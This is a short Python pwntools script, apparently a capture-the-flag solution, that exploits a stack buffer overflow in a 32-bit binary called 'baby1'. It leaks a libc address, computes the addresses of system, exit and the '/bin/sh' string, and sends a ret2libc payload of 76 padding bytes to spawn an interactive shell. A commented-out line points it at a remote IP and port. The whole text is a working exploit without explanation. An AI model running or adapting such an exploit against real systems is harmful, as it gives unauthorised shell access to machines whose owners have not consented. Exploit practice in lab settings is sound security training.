from pwn import *
p=process("./baby1")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")

#p=remote("144.91.77.120",7777)

p.recvuntil('stdout: ')
leak = p.recvuntil('\n')
libc_base = int(leak,16) - libc.symbols['_IO_2_1_stdout_']
log.info("Base : "+hex(libc_base))

system_offset = libc_base + libc.symbols['system']
log.info('system_offset : ' +hex(system_offset))
binsh_offset = libc_base + next(libc.search('/bin/sh'))
log.info('binsh_offset :' +hex(binsh_offset))
exit=libc_base+libc.symbols['exit']

payload = "A"*76 + p32(system_offset)+p32(exit)+p32(binsh_offset) 

p.sendline(payload)

p.interactive()

